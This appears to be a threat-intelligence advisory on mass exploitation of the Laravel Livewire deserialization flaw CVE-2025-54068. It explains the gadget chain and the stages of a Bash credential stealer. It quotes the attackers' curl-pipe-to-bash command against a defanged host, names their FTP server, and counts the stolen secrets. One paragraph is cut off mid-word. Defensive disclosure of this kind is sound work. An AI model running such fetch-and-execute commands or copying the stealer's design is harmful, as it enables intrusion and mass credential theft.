CVE-2025-54068 Exploited in Large-Scale Laravel Livewire Credential Theft Campaign — Threadlinqs Intelligence
As of 2026-07-16, CVE-2025-54068 Exploited in Large-Scale Laravel Livewire Credential Theft Campaign is a critical-severity vulnerability threat attributed to a Indonesia-nexus actor, tracked by Threadlinqs Intelligence with 9 detection rules (Splunk SPL, Microsoft KQL, Sigma) and 20 indicators of compromise.
Threat ID: TL-2026-1422 · Severity: CRITICAL · CVSS: 9.8 · Status: ACTIVE · Category: VULNERABILITY
Attribution: Indonesia · FINANCIAL
An unauthenticated, pre-auth PHP deserialization RCE in Laravel Livewire v3 (CVE-2025-54068, CVSS 9.8) was mass-exploited to deploy a Bash-based credential stealer ("shoc.enz"), compromising 6,167
CVE-2025-54068 is a critical, unauthenticated remote-code-execution vulnerability affecting Laravel Livewire versions 3.0.0-beta.1 through 3.6.3. The flaw lies in Livewire's component-hydration mechanism: when a component's state is restored from a browser-submitted request, the framework's `hydratePropertyUpdate`/`hydrateForUpdate` logic (pre-patch) fails to preserve the original `$raw` synthesizer metadata across recursive hydration, allowing an attacker to redefine nested "synthesizer" objects inside the `updates` payload without triggering Livewire's checksum/APP_KEY integrity validation. Because weakly-typed component properties (such as those on Filament's login form) accept arbitrary casts, an attacker can smuggle a `isSyntheticTuple`-shaped array (`is_array($payload) && count($payload)===2 && isset($payload[1]['s'])`) that Livewire will deserialize into arbitrary PHP classes already present on the server (a PHP "POP" gadget chain built with PHPGGC, e.g. Laravel/RCE4). Public research (Synacktiv) demonstrated a two-stage exploitation path: first, abusing GuzzleHttp\Psr7\FnStream and League\Flysystem's ShardedPrefixPublicUrlGenerator to prove `__toString`/`array_map` gadget execution (phpinfo() PoC); second, chaining Laravel\SerializableClosure\Serializers\Signed (weakly-typed constructor invoking `call_user_func_array`), the Illuminate\Bus\Queueable trait's public `$chained` array, and Illuminate\Broadcasting\BroadcastEvent/PendingBroadcast to reach `dispatchNextJobInChain()`, which calls `unserialize(array_shift($this->chained))` on attacker-controlled data — yielding full unauthenticated remote command execution with no user interaction. Tooling such as laravel-crypto-killer (exploit mode) and Livepyre (version fingerprinting via JS cache-buster hash) automated exploitation with or without knowledge of the target's APP_KEY.
In the wild, Imperva Cloud WAF first detected exploitation attempts on May 24, 2026, sending PHPGGC-crafted deserialization payloads that, upon success, executed: `curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &`. The delivered payload, shoc.enz, is a 5,269-byte Bash credential-stealing script (SHA-256 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e) that executes in eight stages: (1) environment setup — create a randomized /tmp staging directory; (2) process check — verify no other instance (shoc.sh) is already running to avoid duplicate exfiltration; (3) file discovery — recursively scan the filesystem for `.env` configuration files; (4) credential extraction — parse DB_HOST, DB_DATABASE, DB_USERNAME, DB_PASSWORD, and APP_KEY (and related secrets such as Stripe, AWS, SMTP, JWT, and Google OAuth keys found alongside them); (5) data collection — copy matched files under randomized filenames; (6) compression — package via zip/tar.gz; (7) exfiltration — upload the archive across three parallel channels (a hardcoded FTP server, the Telegram Bot API, and the GoFile.io cloud-storage API) for redundancy; (8) cleanup — delete the staging directory and script artifacts to reduce forensic footprint.
Wiz and Imperva's recovery of the attacker's FTP server (47.129.100.149:21) revealed 1,851+ compressed database dumps (organized into 7 date-based directories, e.g. `FULL_DUMP_[REDACTED_IP]_2026-04-29_0418.sql.gz`) and 18+ stolen email lists totaling 26+ million addresses, alongside 14,566 valid (non-default) database passwords, 5,784 production apps' DB credentials, 188 live Stripe secret keys (sk_live_ prefix), 381 AWS IAM access keys (AKIA-prefixed), 2,929 JWT signing secrets, 2,409 Google OAuth client secrets (GOCSPX- prefixed), 2,232 Filament admin panel passwords, and 7,176 SMTP credentials. Victims spanned online gambling/betting (400+ platforms, predominantly Brazilian and Southeast Asian operators), e-commerce, healthcare, education, logistics, financial services, and confirmed government (.gov) domains, running well-known open-source La
Weaknesses (CWE)
CWE-94, CWE-502
Target sectors: gambling-betting, ecommerce, health, education, logistics, financial-services, government administration
Target regions: brazil, Southeast Asia, Global
Detections & IOCs
As of 2026-07-28, this threat has 9 detection rule(s) across Splunk SPL, Microsoft KQL and Sigma, and 20 indicator(s) of compromise. Detection query text and full IOC values are available to authenticated users and programmatically via the Threadlinqs MCP server (Purple tier). View plans.
VULNERABILITY, CRITICAL, threat intelligence, cybersecurity, CVE-2025-54068, T1190, T1059.004, T1190, T1505, T1036, T1070.004, T1552.001, T1083, T1082, T1560.001